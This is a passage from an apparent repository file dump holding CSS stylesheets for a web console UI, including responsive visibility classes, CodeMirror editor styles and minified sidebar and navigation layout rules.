768px) and (max-width: 991px) {\n  .hidden-sm,\n  tr.hidden-sm,\n  th.hidden-sm,\n  td.hidden-sm {\n    display: none !important;\n  }\n}\n\n@media (min-width: 992px) and (max-width: 1199px) {\n  .hidden-sm.hidden-md,\n  tr.hidden-sm.hidden-md,\n  th.hidden-sm.hidden-md,\n  td.hidden-sm.hidden-md {\n    display: none !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .hidden-sm.hidden-lg,\n  tr.hidden-sm.hidden-lg,\n  th.hidden-sm.hidden-lg,\n  td.hidden-sm.hidden-lg {\n    display: none !important;\n  }\n}\n\n.hidden-md {\n  display: block !important;\n}\n\ntable.hidden-md {\n  display: table;\n}\n\ntr.hidden-md {\n  display: table-row !important;\n}\n\nth.hidden-md,\ntd.hidden-md {\n  display: table-cell !important;\n}\n\n@media (max-width: 767px) {\n  .hidden-md.hidden-xs,\n  tr.hidden-md.hidden-xs,\n  th.hidden-md.hidden-xs,\n  td.hidden-md.hidden-xs {\n    display: none !important;\n  }\n}\n\n@media (min-width: 768px) and (max-width: 991px) {\n  .hidden-md.hidden-sm,\n  tr.hidden-md.hidden-sm,\n  th.hidden-md.hidden-sm,\n  td.hidden-md.hidden-sm {\n    display: none !important;\n  }\n}\n\n@media (min-width: 992px) and (max-width: 1199px) {\n  .hidden-md,\n  tr.hidden-md,\n  th.hidden-md,\n  td.hidden-md {\n    display: none !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .hidden-md.hidden-lg,\n  tr.hidden-md.hidden-lg,\n  th.hidden-md.hidden-lg,\n  td.hidden-md.hidden-lg {\n    display: none !important;\n  }\n}\n\n.hidden-lg {\n  display: block !important;\n}\n\ntable.hidden-lg {\n  display: table;\n}\n\ntr.hidden-lg {\n  display: table-row !important;\n}\n\nth.hidden-lg,\ntd.hidden-lg {\n  display: table-cell !important;\n}\n\n@media (max-width: 767px) {\n  .hidden-lg.hidden-xs,\n  tr.hidden-lg.hidden-xs,\n  th.hidden-lg.hidden-xs,\n  td.hidden-lg.hidden-xs {\n    display: none !important;\n  }\n}\n\n@media (min-width: 768px) and (max-width: 991px) {\n  .hidden-lg.hidden-sm,\n  tr.hidden-lg.hidden-sm,\n  th.hidden-lg.hidden-sm,\n  td.hidden-lg.hidden-sm {\n    display: none !important;\n  }\n}\n\n@media (min-width: 992px) and (max-width: 1199px) {\n  .hidden-lg.hidden-md,\n  tr.hidden-lg.hidden-md,\n  th.hidden-lg.hidden-md,\n  td.hidden-lg.hidden-md {\n    display: none !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .hidden-lg,\n  tr.hidden-lg,\n  th.hidden-lg,\n  td.hidden-lg {\n    display: none !important;\n  }\n}\n\n.visible-print,\ntr.visible-print,\nth.visible-print,\ntd.visible-print {\n  display: none !important;\n}\n\n@media print {\n  .visible-print {\n    display: block !important;\n  }\n  table.visible-print {\n    display: table;\n  }\n  tr.visible-print {\n    display: table-row !important;\n  }\n  th.visible-print,\n  td.visible-print {\n    display: table-cell !important;\n  }\n  .hidden-print,\n  tr.hidden-print,\n  th.hidden-print,\n  td.hidden-print {\n    display: none !important;\n  }\n}\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/css/codemirror.css",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/* BASICS */\n\n.CodeMirror {\n  /* Set height, width, borders, and global font properties here */\n  font-family: monospace;\n  height: 300px;\n  color: black;\n}\n\n/* PADDING */\n\n.CodeMirror-lines {\n  padding: 4px 0; /* Vertical padding around content */\n}\n.CodeMirror pre {\n  padding: 0 4px; /* Horizontal padding of content */\n}\n\n.CodeMirror-scrollbar-filler, .CodeMirror-gutter-filler {\n  background-color: white; /* The little square between H and V scrollbars */\n}\n\n/* GUTTER */\n\n.CodeMirror-gutters {\n  border-right: 1px solid #ddd;\n  background-color: #f7f7f7;\n  white-space: nowrap;\n}\n.CodeMirror-linenumbers {}\n.CodeMirror-linenumber {\n  padding: 0 3px 0 5px;\n  min-width: 20px;\n  text-align: right;\n  color: #999;\n  white-space: nowrap;\n}\n\n.CodeMirror-guttermarker { color: black; }\n.CodeMirror-guttermarker-subtle { color: #999; }\n\n/* CURSOR */\n\n.CodeMirror-cursor {\n  border-left: 1px solid black;\n  border-right: none;\n  width: 0;\n}\n/* Shown when moving in bi-directional text */\n.CodeMirror div.CodeMirror-secondarycursor {\n  border-left: 1px solid silver;\n}\n.cm-fat-cursor .CodeMirror-cursor {\n  width: auto;\n  border: 0 !important;\n  background: #7e7;\n}\n.cm-fat-cursor div.CodeMirror-cursors {\n  z-index: 1;\n}\n\n.cm-animate-fat-cursor {\n  width: auto;\n  border: 0;\n  -webkit-animation: blink 1.06s steps(1) infinite;\n  -moz-animation: blink 1.06s steps(1) infinite;\n  animation: blink 1.06s steps(1) infinite;\n  background-color: #7e7;\n}\n@-moz-keyframes blink {\n  0% {}\n  50% { background-color: transparent; }\n  100% {}\n}\n@-webkit-keyframes blink {\n  0% {}\n  50% { background-color: transparent; }\n  100% {}\n}\n@keyframes blink {\n  0% {}\n  50% { background-color: transparent; }\n  100% {}\n}\n\n/* Can style cursor different in overwrite (non-insert) mode */\n.CodeMirror-overwrite .CodeMirror-cursor {}\n\n.cm-tab { display: inline-block; text-decoration: inherit; }\n\n.CodeMirror-rulers {\n  position: absolute;\n  left: 0; right: 0; top: -50px; bottom: -20px;\n  overflow: hidden;\n}\n.CodeMirror-ruler {\n  border-left: 1px solid #ccc;\n  top: 0; bottom: 0;\n  position: absolute;\n}\n\n/* DEFAULT THEME */\n\n.cm-s-default .cm-header {color: blue;}\n.cm-s-default .cm-quote {color: #090;}\n.cm-negative {color: #d44;}\n.cm-positive {color: #292;}\n.cm-header, .cm-strong {font-weight: bold;}\n.cm-em {font-style: italic;}\n.cm-link {text-decoration: underline;}\n.cm-strikethrough {text-decoration: line-through;}\n\n.cm-s-default .cm-keyword {color: #708;}\n.cm-s-default .cm-atom {color: #219;}\n.cm-s-default .cm-number {color: #164;}\n.cm-s-default .cm-def {color: #00f;}\n.cm-s-default .cm-variable,\n.cm-s-default .cm-punctuation,\n.cm-s-default .cm-property,\n.cm-s-default .cm-operator {}\n.cm-s-default .cm-variable-2 {color: #05a;}\n.cm-s-default .cm-variable-3, .cm-s-default .cm-type {color: #085;}\n.cm-s-default .cm-comment {color: #a50;}\n.cm-s-default .cm-string {color: #a11;}\n.cm-s-default .cm-string-2 {color: #f50;}\n.cm-s-default .cm-meta {color: #555;}\n.cm-s-default .cm-qualifier {color: #555;}\n.cm-s-default .cm-builtin {color: #30a;}\n.cm-s-default .cm-bracket {color: #997;}\n.cm-s-default .cm-tag {color: #170;}\n.cm-s-default .cm-attribute {color: #00c;}\n.cm-s-default .cm-hr {color: #999;}\n.cm-s-default .cm-link {color: #00c;}\n\n.cm-s-default .cm-error {color: #f00;}\n.cm-invalidchar {color: #f00;}\n\n.CodeMirror-composing { border-bottom: 2px solid; }\n\n/* Default styles for common addons */\n\ndiv.CodeMirror span.CodeMirror-matchingbracket {color: #0f0;}\ndiv.CodeMirror span.CodeMirror-nonmatchingbracket {color: #f22;}\n.CodeMirror-matchingtag { background: rgba(255, 150, 0, .3); }\n.CodeMirror-activeline-background {background: #e8f2ff;}\n\n/* STOP */\n\n/* The rest of this file contains styles related to the mechanics of\n   the editor. You probably shouldn't touch them. */\n\n.CodeMirror {\n  position: relative;\n  overflow: hidden;\n  background: white;\n}\n\n.CodeMirror-scroll {\n  overflow: scroll !important; /* Things will break if this is overridden */\n  /* 30px is the magic margin used to hide the element's real scrollbars */\n  /* See overflow: hidden in .CodeMirror */\n  margin-bottom: -30px; margin-right: -30px;\n  padding-bottom: 30px;\n  height: 100%;\n  outline: none; /* Prevent dragging from highlighting the element */\n  position: relative;\n}\n.CodeMirror-sizer {\n  position: relative;\n  border-right: 30px solid transparent;\n}\n\n/* The fake, visible scrollbars. Used to force redraw during scrolling\n   before actual scrolling happens, thus preventing shaking and\n   flickering artifacts. */\n.CodeMirror-vscrollbar, .CodeMirror-hscrollbar, .CodeMirror-scrollbar-filler, .CodeMirror-gutter-filler {\n  position: absolute;\n  z-index: 6;\n  display: none;\n}\n.CodeMirror-vscrollbar {\n  right: 0; top: 0;\n  overflow-x: hidden;\n  overflow-y: scroll;\n}\n.CodeMirror-hscrollbar {\n  bottom: 0; left: 0;\n  overflow-y: hidden;\n  overflow-x: scroll;\n}\n.CodeMirror-scrollbar-filler {\n  right: 0; bottom: 0;\n}\n.CodeMirror-gutter-filler {\n  left: 0; bottom: 0;\n}\n\n.CodeMirror-gutters {\n  position: absolute; left: 0; top: 0;\n  min-height: 100%;\n  z-index: 3;\n}\n.CodeMirror-gutter {\n  white-space: normal;\n  height: 100%;\n  display: inline-block;\n  vertical-align: top;\n  margin-bottom: -30px;\n}\n.CodeMirror-gutter-wrapper {\n  position: absolute;\n  z-index: 4;\n  background: none !important;\n  border: none !important;\n}\n.CodeMirror-gutter-background {\n  position: absolute;\n  top: 0; bottom: 0;\n  z-index: 4;\n}\n.CodeMirror-gutter-elt {\n  position: absolute;\n  cursor: default;\n  z-index: 4;\n}\n.CodeMirror-gutter-wrapper ::selection { background-color: transparent }\n.CodeMirror-gutter-wrapper ::-moz-selection { background-color: transparent }\n\n.CodeMirror-lines {\n  cursor: text;\n  min-height: 1px; /* prevents collapsing before first draw */\n}\n.CodeMirror pre {\n  /* Reset some styles that the rest of the page might have set */\n  -moz-border-radius: 0; -webkit-border-radius: 0; border-radius: 0;\n  border-width: 0;\n  background: transparent;\n  font-family: inherit;\n  font-size: inherit;\n  margin: 0;\n  white-space: pre;\n  word-wrap: normal;\n  line-height: inherit;\n  color: inherit;\n  z-index: 2;\n  position: relative;\n  overflow: visible;\n  -webkit-tap-highlight-color: transparent;\n  -webkit-font-variant-ligatures: contextual;\n  font-variant-ligatures: contextual;\n}\n.CodeMirror-wrap pre {\n  word-wrap: break-word;\n  white-space: pre-wrap;\n  word-break: normal;\n}\n\n.CodeMirror-linebackground {\n  position: absolute;\n  left: 0; right: 0; top: 0; bottom: 0;\n  z-index: 0;\n}\n\n.CodeMirror-linewidget {\n  position: relative;\n  z-index: 2;\n  overflow: auto;\n}\n\n.CodeMirror-widget {}\n\n.CodeMirror-rtl pre { direction: rtl; }\n\n.CodeMirror-code {\n  outline: none;\n}\n\n/* Force content-box sizing for the elements where we expect it */\n.CodeMirror-scroll,\n.CodeMirror-sizer,\n.CodeMirror-gutter,\n.CodeMirror-gutters,\n.CodeMirror-linenumber {\n  -moz-box-sizing: content-box;\n  box-sizing: content-box;\n}\n\n.CodeMirror-measure {\n  position: absolute;\n  width: 100%;\n  height: 0;\n  overflow: hidden;\n  visibility: hidden;\n}\n\n.CodeMirror-cursor {\n  position: absolute;\n  pointer-events: none;\n}\n.CodeMirror-measure pre { position: static; }\n\ndiv.CodeMirror-cursors {\n  visibility: hidden;\n  position: relative;\n  z-index: 3;\n}\ndiv.CodeMirror-dragcursors {\n  visibility: visible;\n}\n\n.CodeMirror-focused div.CodeMirror-cursors {\n  visibility: visible;\n}\n\n.CodeMirror-selected { background: #d9d9d9; }\n.CodeMirror-focused .CodeMirror-selected { background: #d7d4f0; }\n.CodeMirror-crosshair { cursor: crosshair; }\n.CodeMirror-line::selection, .CodeMirror-line > span::selection, .CodeMirror-line > span > span::selection { background: #d7d4f0; }\n.CodeMirror-line::-moz-selection, .CodeMirror-line > span::-moz-selection, .CodeMirror-line > span > span::-moz-selection { background: #d7d4f0; }\n\n.cm-searching {\n  background: #ffa;\n  background: rgba(255, 255, 0, .4);\n}\n\n/* Used to force a border model for a node */\n.cm-force-border { padding-right: .1px; }\n\n@media print {\n  /* Hide the cursor when printing */\n  .CodeMirror div.CodeMirror-cursors {\n    visibility: hidden;\n  }\n}\n\n/* See issue #2901 */\n.cm-tab-wrap-hack:after { content: ''; }\n\n/* Help users use markselection to safely style text background */\nspan.CodeMirror-selectedtext { background: none; }\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/css/console1412.css",
    "content": "@charset \"UTF-8\";.viewFramework-topbar{position:fixed;width:100%;height:50px;background:#09C;z-index:101}.viewFramework-body{position:absolute;width:100%;top:50px;bottom:0px;background-color:#000;z-index:100}.viewFramework-body .console-global-notice .console-global-notice-nav{top:14px}.viewFramework-body .console-global-notice .console-global-notice-list{margin:0;height:40px}.viewFramework-body .console-global-notice .console-global-notice-list .console-global-notice-item{padding:11px 12px;border:none}.viewFramework-body .console-global-notice .console-global-notice-list .console-global-notice-item .console-global-notice-nomore{top:10px}.viewFramework-body.viewFramework-topbar-hide{top:0px}.viewFramework-body.viewFramework-topbar-hide .viewFramework-sidebar{top:0px}.viewFramework-sidebar{width:0px;display:none;position:fixed;top:50px;bottom:0px;background-color:#293038;z-index:102;overflow-x:hidden}.viewFramework-sidebar .sidebar-content{width:200px;height:100%;overflow:auto;overflow-x:hidden}.viewFramework-sidebar .sidebar-trans{-o-transition:all 0.12s ease,0.12s ease;-ms-transition:all 0.12s ease,0.12s ease;-moz-transition:all 0.12s ease,0.12s ease;-webkit-transition:all 0.12s ease,0.12s ease}.viewFramework-sidebar .sidebar-fold{height:30px;width:180px;background:#394555;color:#aeb9c2;text-align:center;line-height:30px !important;font-size:12px;user-select:none;cursor:pointer;-webkit-user-select:none;-moz-user-select:none}.viewFramework-sidebar .sidebar-fold:hover{background:#37424f}.viewFramework-sidebar .sidebar-nav{width:180px}.viewFramework-sidebar .sidebar-nav ul{margin:0px;padding:0px;list-style:none;overflow:hidden}.viewFramework-sidebar .sidebar-nav li a{display:block;width:100%;height:40px;line-height:40px;overflow:hidden}.viewFramework-sidebar .sidebar-nav li a:hover{background:#37424f}.viewFramework-sidebar .sidebar-nav li a:hover .nav-icon,.viewFramework-sidebar .sidebar-nav li a:hover .nav-title{color:#fff}.viewFramework-sidebar .sidebar-nav .nav-item{position:relative}.viewFramework-sidebar .sidebar-nav .nav-comment{background:#2d3945;color:#cccccc;height:26px;margin-left:8px;line-height:26px;padding:0 7px;vertical-align:middle;position:relative;display:none}.viewFramework-sidebar .sidebar-nav .nav-comment .icon-arrow-left{position:absolute;left:-14px;line-height:26px;font-size:24px;color:#2d3945}.viewFramework-sidebar .sidebar-nav .nav-tooltip-comment{color:#ccc}.viewFramework-sidebar .sidebar-nav .sidebar-title{height:40px;background:#22282e;color:#fff;line-height:40px;position:relative;cursor:pointer;-webkit-user-select:none;-moz-user-select:none}.viewFramework-sidebar .sidebar-nav .sidebar-title:hover{background:#414d5c}.viewFramework-sidebar .sidebar-nav .sidebar-title-icon{display:inline-block;margin:0 8px 0 20px;vertical-align:middle;transition:transform 0.12s;-o-transition:-o-transform 0.12s;-ms-transition:-ms-transform 0.12s;-moz-transition:-moz-transform 0.12s;-webkit-transition:-webkit-transform 0.12s}.viewFramework-sidebar .sidebar-manage{vertical-align:middle;position:absolute;height:40px;width:40px;right:0}.viewFramework-sidebar .sidebar-manage a{display:block;width:100%;height:100%;text-align:center;line-height:40px;font-size:14px;color:#a0abb3;text-decoration:none}.viewFramework-sidebar .sidebar-nav-fold ul{height:0 !important;overflow:hidden}.viewFramework-sidebar .sidebar-nav-fold .sidebar-title-icon{transform:rotate(-90deg);-webkit-transform:rotate(-90deg);-moz-transform:rotate(-90deg);-ms-transform:rotate(-90deg);-o-transform:rotate(-90deg)}.viewFramework-sidebar .sidebar-nav-fold .sidebar-title{background:#37424f;border-bottom:1px solid #414d5c}.viewFramework-sidebar .sidebar-nav .nav-item:hover .nav-comment{display:inline-block}.viewFramework-sidebar .entrance-nav .nav-comment{margin-left:10px}.viewFramework-sidebar .sidebar-nav .nav-icon{width:50px;text-align:center;font-size:16px;float:left;color:#aeb9c2}.viewFramework-sidebar .sidebar-nav .nav-title{float:left;overflow:hidden;color:#fff;white-space:nowrap;text-overflow:ellipsis;display:block;width:130px}.viewFramework-sidebar .entrance-nav .nav-title{width:auto}.viewFramework-sidebar .sidebar-nav li.consolehome .nav-tooltip{top:15px;line-height:40px}.viewFramework-sidebar .sidebar-nav li.consolehome a{height:70px;line-height:70px;background:#293038}.viewFramework-sidebar .sidebar-nav li.consolehome a .nav-icon{font-size:20px}.viewFramework-sidebar .sidebar-nav li.consolehome.active a{background:#293038}.viewFramework-sidebar .sidebar-nav li.active a{background:#0099cc}.viewFramework-sidebar .sidebar-nav li.active a .nav-title{color:#fff}.viewFramework-sidebar .sidebar-nav li.active a .nav-icon{color:#fff}.viewFramework-sidebar .sidebar-nav .manage-nav{height:30px;overflow:hidden}.viewFramework-sidebar .sidebar-nav .manage-nav:hover .nav-icon{color:#fff}.viewFramework-sidebar .sidebar-nav .manage-nav a{display:block;height:100%}.viewFramework-sidebar .sidebar-nav .manage-nav .nav-icon{height:100%;line-height:30px;font-size:16px}.viewFramework-sidebar .sidebar-nav .manage-nav .nav-title{margin-top:14px;background:#293038;height:1px;width:120px}.viewFramework-sidebar .sidebar-nav .more-nav{display:block;width:100%;height:40px;line-height:40px;position:relative}.viewFramework-sidebar .sidebar-nav .more-nav.open .more-nav-switch{background:#09c}.viewFramework-sidebar .sidebar-nav .more-nav.open .more-nav-switch .nav-icon,.viewFramework-sidebar .sidebar-nav .more-nav.open .more-nav-switch .nav-title{color:#fff}.viewFramework-sidebar .sidebar-nav .more-nav.open .more-nav-switch:hover{background:#09c}.viewFramework-sidebar .sidebar-nav .more-nav.open .icon-up{display:none}.viewFramework-sidebar .sidebar-nav .more-nav.open .icon-down{display:inline-block}.viewFramework-sidebar .sidebar-nav .more-nav .icon-up{display:inline-block}.viewFramework-sidebar .sidebar-nav .more-nav .icon-down{display:none}.viewFramework-sidebar .sidebar-nav .more-nav .more-nav-switch{display:block;width:100%;height:40px;line-height:40px}.viewFramework-sidebar .sidebar-nav .more-nav .more-nav-switch:hover{background:#425160}.viewFramework-sidebar .sidebar-nav .more-nav .more-nav-switch:hover .nav-icon,.viewFramework-sidebar .sidebar-nav .more-nav .more-nav-switch:hover .nav-title{color:#fff}.viewFramework-sidebar .sidebar-nav .more-nav .more-nav-container{background:#425160;position:absolute;bottom:40px;top:auto;border:none;border-radius:0 0;box-shadow:none;margin:0;width:100%}.viewFramework-sidebar .sidebar-nav .more-nav .more-nav-container a{color:#fff;text-decoration:none}.viewFramework-sidebar .sidebar-nav .more-nav .more-nav-container .more-nav-item{display:block;height:40px;line-height:40px}.viewFramework-sidebar .sidebar-nav .more-nav .more-nav-container .more-nav-item:hover{background:#3a4856}.viewFramework-sidebar .sidebar-nav .more-nav .more-nav-container .more-nav-item:hover .more-nav-item-icon{color:#aeb9c2}.viewFramework-sidebar .sidebar-nav .more-nav .more-nav-container .more-nav-item-icon{width:50px;display:inline-block;vertical-align:text-top;text-align:center;color:#546478}.viewFramework-sidebar .sidebar-nav .more-nav .more-nav-container .more-nav-item.active{background:#2d3945}.viewFramework-sidebar .sidebar-nav .more-nav .more-nav-container .more-nav-item.active .more-nav-item-icon{color:#0099cc}.viewFramework-sidebar .sidebar-nav .more-nav .more-nav-close{height:20px;background:#09c;text-align:right;line-height:20px;cursor:pointer}.viewFramework-sidebar .sidebar-nav .more-nav .more-nav-close .icon-down{text-align:left;width:32px;display:inline-block;color:#80cce6;vertical-align:middle}.viewFramework-sidebar-mini .viewFramework-sidebar,.viewFramework-sidebar.sidebar-mini{width:50px;display:block}.viewFramework-sidebar-mini .viewFramework-sidebar .sidebar-content,.viewFramework-sidebar.sidebar-mini .sidebar-content{width:70px}.viewFramework-sidebar-mini .viewFramework-sidebar .sidebar-fold,.viewFramework-sidebar.sidebar-mini .sidebar-fold{width:50px}.viewFramework-sidebar-mini .viewFramework-sidebar .sidebar-nav,.viewFramework-sidebar.sidebar-mini .sidebar-nav{width:50px}.viewFramework-sidebar-mini .viewFramework-sidebar .sidebar-nav .nav-item a:hover+.nav-tooltip,.viewFramework-sidebar.sidebar-mini .sidebar-nav .nav-item a:hover+.nav-tooltip{display:block}.viewFramework-sidebar-mini .viewFramework-sidebar .sidebar-nav .nav-title,.viewFramework-sidebar.sidebar-mini .sidebar-nav .nav-title{display:none}.viewFramework-sidebar-mini .viewFramework-sidebar .sidebar-nav .more-nav .more-nav-switch:hover,.viewFramework-sidebar.sidebar-mini .sidebar-nav .more-nav .more-nav-switch:hover{background:#425160 !important}.viewFramework-sidebar-mini .viewFramework-sidebar .sidebar-nav .more-nav.open .more-nav-switch,.viewFramework-sidebar.sidebar-mini .sidebar-nav .more-nav.open .more-nav-switch{background:#425160 !important}.viewFramework-sidebar-mini .viewFramework-sidebar .sidebar-nav .more-nav .more-nav-container,.viewFramework-sidebar.sidebar-mini .sidebar-nav .more-nav .more-nav-container{bottom:0px;left:50px;width:180px}.viewFramework-sidebar-mini .viewFramework-sidebar .sidebar-nav .more-nav .more-nav-container .more-nav-item,.viewFramework-sidebar.sidebar-mini .sidebar-nav .more-nav .more-nav-container .more-nav-item{display:block;height:40px;line-height:40px}.viewFramework-sidebar-mini .viewFramework-sidebar .sidebar-nav .more-nav .more-nav-container .more-nav-item-icon,.viewFramework-sidebar.sidebar-mini .sidebar-nav .more-nav .more-nav-container .more-nav-item-icon{width:50px;padding-left:0}.viewFramework-sidebar-mini .viewFramework-sidebar .sidebar-nav .more-nav .more-nav-close,.viewFramework-sidebar.sidebar-mini .sidebar-nav .more-nav .more-nav-close{display:none}.viewFramework-sidebar-mini .viewFramework-sidebar .sidebar-nav li.consolehome a :hover,.viewFramework-sidebar.sidebar-mini .sidebar-nav li.consolehome a :hover{background:#425160}.viewFramework-sidebar-mini .viewFramework-sidebar .sidebar-title .sidebar-title-text,.viewFramework-sidebar.sidebar-mini .sidebar-title .sidebar-title-text{display:none}.viewFramework-sidebar-mini .viewFramework-sidebar .sidebar-title-inner:hover+.nav-tooltip,.viewFramework-sidebar.sidebar-mini .sidebar-title-inner:hover+.nav-tooltip{display:block}.viewFramework-sidebar-mini .viewFramework-sidebar .sidebar-manage,.viewFramework-sidebar.sidebar-mini .sidebar-manage{display:none}.viewFramework-sidebar-mini .viewFramework-sidebar .entrance-nav .nav-item:hover .nav-comment,.viewFramework-sidebar.sidebar-mini .entrance-nav .nav-item:hover .nav-comment{display:none}.viewFramework-sidebar-full .viewFramework-sidebar,.viewFramework-sidebar.sidebar-full{width:180px;display:block}.viewFramework-sidebar-full .viewFramework-sidebar .sidebar-nav .nav-icon,.viewFramework-sidebar.sidebar-full .sidebar-nav .nav-icon{width:50px}.viewFramework-sidebar-mini .viewFramework-product{left:50px}.viewFramework-sidebar-full .viewFramework-product{left:180px}.viewFramework-sidebar-dialog .modal-dialog{width:730px}.viewFramework-sidebar-dialog .modal-dialog .modal-title{user-select:none;-webkit-user-select:none}.viewFramework-sidebar-manage .sidebar-item-list{padding:4px 0 0 0;height:auto}.viewFramework-sidebar-manage .sidebar-item-list-picked .sidebar-item{border:1px solid #37a9d5}.viewFramework-sidebar-manage .sidebar-item-list-picked .sidebar-item .sidebar-item-opt-icon{display:block}.viewFramework-sidebar-manage .sidebar-item-list-picked .sidebar-item .sidebar-item-icon{color:#516176}.viewFramework-sidebar-manage .sidebar-config-title{padding-left:6px;user-select:none;-webkit-user-select:none}.viewFramework-sidebar-manage .sidebar-item-wrap{padding:6px;width:33.3%;float:left;user-select:none;-webkit-user-select:none}.viewFramework-sidebar-manage .sidebar-item-wrap.on-drag-hover .sidebar-item{border:1px dashed #ddd}.viewFramework-sidebar-manage .sidebar-item{height:32px;padding:4px;line-height:24px;background:#fff;border:1px solid #d3dce3;position:relative;cursor:pointer;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;-o-transition:all 0.1s, 0.1s;-ms-transition:all 0.1s, 0.1s;-moz-transition:all 0.1s, 0.1s;-webkit-transition:all 0.1s, 0.1s}.viewFramework-sidebar-manage .sidebar-item:hover{border:1px solid #37a9d5}.viewFramework-sidebar-manage .sidebar-item:hover .sidebar-item-opt-icon{display:block}.viewFramework-sidebar-manage .sidebar-item .sidebar-item-icon{color:#aeb9c2;font-size:14px;margin:0 2px;position:relative;top:1px}.viewFramework-sidebar-manage .sidebar-item .sidebar-item-opt-icon{display:none;position:absolute;height:30px;width:30px;right:0;top:0;line-height:30px;text-align:center;border-left:1px solid #37a9d5;color:#37a9d5;font-size:14px}.viewFramework-sidebar-manage .sidebar-config-gap{border:1px dashed #e8ecf0;margin:16px 5px;user-select:none;-webkit-user-select:none}.aliyun-console-sidebar-tooltip{position:absolute;z-index:1030;display:block;font-size:12px;line-height:1.4;opacity:0;filter:alpha(opacity=0);visibility:visible}.aliyun-console-sidebar-tooltip .tooltip-inner{max-width:200px;padding:12px 8px;color:#ffffff;text-align:center;text-decoration:none;border-radius:0 0;background-color:#425160}.aliyun-console-sidebar-tooltip .tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid}.aliyun-console-sidebar-tooltip.in{opacity:0.9;filter:alpha(opacity=90)}.aliyun-console-sidebar-tooltip.right{padding:0 5px;margin-left:3px}.aliyun-console-sidebar-tooltip.right .tooltip-arrow{top:50%;left:0;margin-top:-5px;border-right-color:#425160;border-width:5px 5px 5px 0}.viewFramework-product{width:auto;position:absolute;top:0px;left:0px;bottom:0px;right:0px;overflow:hidden;background:#FFF}.viewFramework-product-navbar{width:0px;float:left;background-color:#EAEDF1;position:absolute;top:0px;bottom:0px;z-index:2;overflow:hidden;-o-transition:all 0.2s ease;-ms-transition:all 0.2s ease;-moz-transition:all 0.2s ease;-webkit-transition:all 0.2s ease}.viewFramework-product-navbar .product-nav-stage{width:180px;overflow:hidden;position:absolute;top:0px;bottom:0px;right:0px}.viewFramework-product-navbar .product-nav-stage .product-nav-scene{width:180px;position:absolute;top:0px;bottom:0px;-webkit-transition:position,.2s,linear;-moz-transition:position,.2s,linear}.viewFramework-product-navbar .product-nav-stage .product-nav-main-scene{left:0px}.viewFramework-product-navbar .product-nav-stage .product-nav-sub-scene{left:180px}.viewFramework-product-navbar .product-nav-stage-main .product-nav-main-scene{left:0px}.viewFramework-product-navbar .product-nav-stage-main .product-nav-sub-scene{left:180px}.viewFramework-product-navbar .product-nav-stage-sub .product-nav-main-scene{left:-180px}.viewFramework-product-navbar .product-nav-stage-sub .product-nav-sub-scene{left:0px}.viewFramework-product-navbar .product-nav-scene .product-nav-title{width:180px;height:70px;line-height:70px;background:#D9DEE4;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.viewFramework-product-navbar .product-nav-main-scene .product-nav-title{font-weight:bold;text-indent:20px}.viewFramework-product-navbar .product-nav-sub-scene .product-nav-title{text-align:center}.viewFramework-product-navbar .product-nav-sub-scene .product-nav-title a{font-size:20px;color:#546478;text-decoration:none}.viewFramework-product-navbar .product-nav-sub-scene .product-nav-title a:hover{color:#09C}.viewFramework-product-navbar .product-nav-list{position:absolute;top:70px;left:0px;right:0px;bottom:0px;overflow-y:auto;overflow-x:hidden}.viewFramework-product-navbar .product-nav-list .nav-icon{width:30px;height:40px;float:left;text-align:center;font-size:16px;color:#333}.viewFramework-product-navbar .product-nav-list .nav-title{width:138px;float:left;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.viewFramework-product-navbar .product-nav-list .nav-extend{height:40px;line-height:40px;float:right;margin-top:-40px}.viewFramework-product-navbar .product-nav-list ul{list-style:none;padding:0px;margin:0px}.viewFramework-product-navbar .product-nav-list li a{width:180px;height:40px;line-height:40px;display:block;color:#333}.viewFramework-product-navbar .product-nav-list ul ul li a{color:#666}.viewFramework-product-navbar .product-nav-list ul ul li a .nav-title{text-indent:8px}.viewFramework-product-navbar .product-nav-list li a:hover{background-color:#F4F6F8}.viewFramework-product-navbar .product-nav-list li.active a{background-color:#FFF}.viewFramework-product-navbar-collapse{position:absolute;left:0;top:50%;width:20px;height:50px;z-index:3;-o-transition:all 0.2s ease;-ms-transition:all 0.2s ease;-moz-transition:all 0.2s ease;-webkit-transition:all 0.2s ease}.viewFramework-product-navbar-collapse:hover .product-navbar-collapse{left:0}.viewFramework-product-navbar-collapse:hover .product-navbar-collapse-bg{border-bottom:8px solid transparent;border-left:20px solid #D9DEE4;border-top:8px solid transparent}.viewFramework-product-navbar-collapse .product-navbar-collapse-inner{top:-50%;position:relative;overflow:hidden}.viewFramework-product-navbar-collapse .product-navbar-collapse{height:50px;position:relative;left:-7px;text-align:center;cursor:pointer;-o-transition:all 0.1s ease,0.1s ease;-ms-transition:all 0.1s ease,0.1s ease;-moz-transition:all 0.1s ease,0.1s ease;-webkit-transition:all 0.1s ease,0.1s ease}.viewFramework-product-navbar-collapse .product-navbar-collapse>span{font-size:15px;line-height:50px;vertical-align:text-top}.viewFramework-product-navbar-collapse .product-navbar-collapse-bg{width:0;height:50px;position:absolute;top:0;left:0;border-bottom:9px solid transparent;border-left:13px solid #D9DEE4;border-top:9px solid transparent;-o-transition:all 0.1s ease,0.1s ease;-ms-transition:all 0.1s ease,0.1s ease;-moz-transition:all 0.1s ease,0.1s ease;-webkit-transition:all 0.1s ease,0.1s ease}.viewFramework-product-navbar-collapse .icon-collapse-left{display:none}.viewFramework-product-navbar-collapse .icon-collapse-right{display:inline}.viewFramework-product-body{position:absolute;width:auto;top:0px;bottom:0px;left:0px;right:0px;overflow:hidden;overflow-y:auto;-o-transition:all 0.2s ease;-ms-transition:all 0.2s ease;-moz-transition:all 0.2s ease;-webkit-transition:all 